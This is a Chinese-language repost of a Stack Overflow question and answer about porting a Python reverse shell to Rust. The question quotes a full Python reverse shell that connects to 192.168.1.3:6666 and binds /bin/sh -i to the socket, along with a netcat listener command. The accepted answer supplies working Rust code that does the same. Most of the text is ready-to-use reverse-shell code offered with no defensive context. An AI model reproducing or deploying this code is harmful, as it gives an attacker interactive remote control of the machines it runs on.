gpt4 book ai didi

python - 用 Python 编写的反向 shell 脚本的 Rust 等价物是什么?

转载 作者:行者123 更新时间:2023-11-28 18:14:54 25 4
gpt4 key购买 nike

Python 中的反向 shell 脚本通常如下所示:

import socket, subprocess, os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((\"192.168.1.3\", 6666));

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);

p=subprocess.call([\"/bin/sh\", \"-i\"]);

我正在尝试用 Rust 复制这个过程:

let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();

我只得到了与主机的 TCP 连接,使用 netcat (nc -l -p 6666) 监听。如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式“调用”/bin/sh

我如何用 Rust 编写这个反向 shell 脚本?

最佳答案

Rust 中 Python 反向 shell 的等价物是:

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
let s = TcpStream::connect("192.168.1.3:6666").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}

关于python - 用 Python 编写的反向 shell 脚本的 Rust 等价物是什么?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/48958814/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com